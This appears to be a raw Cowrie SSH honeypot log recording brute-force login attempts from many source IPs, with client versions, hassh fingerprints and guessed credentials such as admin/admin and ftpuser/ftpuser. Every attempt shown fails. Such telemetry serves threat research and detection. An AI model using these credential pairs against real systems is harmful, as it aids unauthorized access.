{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:14:31.595639Z","src_ip":"163.7.6.74","session":"e4ea1107ad25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"saeed","password":"Saeed123!","message":"login attempt [saeed/Saeed123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:14:32.649377Z","src_ip":"163.7.6.74","session":"e4ea1107ad25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:14:33.907182Z","src_ip":"163.7.6.74","session":"e4ea1107ad25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.134.154.36","src_port":38492,"dst_ip":"10.17.0.5","dst_port":22,"session":"81f8cdaf7eb2","protocol":"ssh","message":"New connection: 103.134.154.36:38492 (10.17.0.5:22) [session: 81f8cdaf7eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:03.234275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:03.239408Z","src_ip":"103.134.154.36","session":"81f8cdaf7eb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:03.469701Z","src_ip":"103.134.154.36","session":"81f8cdaf7eb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"userm","password":"123456","message":"login attempt [userm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:04.436617Z","src_ip":"103.134.154.36","session":"81f8cdaf7eb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:05.670169Z","src_ip":"103.134.154.36","session":"81f8cdaf7eb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.246.130.20","src_port":3673,"dst_ip":"10.17.0.5","dst_port":22,"session":"9732f6960d85","protocol":"ssh","message":"New connection: 185.246.130.20:3673 (10.17.0.5:22) [session: 9732f6960d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:07.904381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.4","message":"Remote SSH version: SSH-2.0-libssh_0.11.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:09.467780Z","src_ip":"185.246.130.20","session":"9732f6960d85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7d98a1f3b2ced8dc56a19709a6c59fc3","hasshAlgorithms":"diffie-hellman-group-exchange-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 7d98a1f3b2ced8dc56a19709a6c59fc3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:09.572522Z","src_ip":"185.246.130.20","session":"9732f6960d85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:16.682092Z","src_ip":"185.246.130.20","session":"9732f6960d85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"0","password":"0","message":"login attempt [0/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:18.817551Z","src_ip":"185.246.130.20","session":"9732f6960d85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:25.317916Z","src_ip":"185.246.130.20","session":"9732f6960d85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.6","message":"Connection lost after 18.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:26.534308Z","src_ip":"185.246.130.20","session":"9732f6960d85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":38090,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdb158c00db1","protocol":"ssh","message":"New connection: 68.183.236.1:38090 (159.203.135.109:22) [session: cdb158c00db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:39.517154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:39.521813Z","src_ip":"68.183.236.1","session":"cdb158c00db1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:39.766956Z","src_ip":"68.183.236.1","session":"cdb158c00db1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"znc","password":"Znc123!","message":"login attempt [znc/Znc123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:40.777439Z","src_ip":"68.183.236.1","session":"cdb158c00db1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:42.024384Z","src_ip":"68.183.236.1","session":"cdb158c00db1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.233.116.124","src_port":54410,"dst_ip":"159.203.135.109","dst_port":22,"session":"227437d8958d","protocol":"ssh","message":"New connection: 68.233.116.124:54410 (159.203.135.109:22) [session: 227437d8958d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:42.671392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:42.676027Z","src_ip":"68.233.116.124","session":"227437d8958d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e13ba222a14b8b916c6c32f9fd6aec5d","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: e13ba222a14b8b916c6c32f9fd6aec5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:42.902953Z","src_ip":"68.233.116.124","session":"227437d8958d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wei","password":"wei","message":"login attempt [wei/wei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:43.849618Z","src_ip":"68.233.116.124","session":"227437d8958d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:45.076723Z","src_ip":"68.233.116.124","session":"227437d8958d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"93.71.118.99","src_port":41284,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d7d8c08d88e","protocol":"ssh","message":"New connection: 93.71.118.99:41284 (159.203.135.109:22) [session: 6d7d8c08d88e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:49.720605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:49.725036Z","src_ip":"93.71.118.99","session":"6d7d8c08d88e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:50.053832Z","src_ip":"93.71.118.99","session":"6d7d8c08d88e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andrey","password":"password","message":"login attempt [andrey/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:51.522170Z","src_ip":"93.71.118.99","session":"6d7d8c08d88e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:52.769574Z","src_ip":"93.71.118.99","session":"6d7d8c08d88e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.49.239.64","src_port":34954,"dst_ip":"159.203.135.109","dst_port":22,"session":"d565ed023382","protocol":"ssh","message":"New connection: 49.49.239.64:34954 (159.203.135.109:22) [session: d565ed023382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:56.765331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:56.769393Z","src_ip":"49.49.239.64","session":"d565ed023382","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:57.028042Z","src_ip":"49.49.239.64","session":"d565ed023382","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andrey","password":"1234","message":"login attempt [andrey/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:58.095176Z","src_ip":"49.49.239.64","session":"d565ed023382","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:15:59.357709Z","src_ip":"49.49.239.64","session":"d565ed023382","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":49926,"dst_ip":"159.203.135.109","dst_port":22,"session":"879fd7f8c05e","protocol":"ssh","message":"New connection: 2.57.122.208:49926 (159.203.135.109:22) [session: 879fd7f8c05e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:16:36.124569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:16:36.211708Z","src_ip":"2.57.122.208","session":"879fd7f8c05e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:16:36.440820Z","src_ip":"2.57.122.208","session":"879fd7f8c05e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"trader","message":"login attempt [trader/trader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:16:37.012140Z","src_ip":"2.57.122.208","session":"879fd7f8c05e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:16:38.177463Z","src_ip":"2.57.122.208","session":"879fd7f8c05e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":43430,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ed525f0aef9","protocol":"ssh","message":"New connection: 138.99.80.102:43430 (159.203.135.109:22) [session: 4ed525f0aef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:16:44.495205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:16:44.499655Z","src_ip":"138.99.80.102","session":"4ed525f0aef9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:16:44.605258Z","src_ip":"138.99.80.102","session":"4ed525f0aef9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andrey","password":"1234","message":"login attempt [andrey/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:16:45.061606Z","src_ip":"138.99.80.102","session":"4ed525f0aef9","protocol":"ssh"}
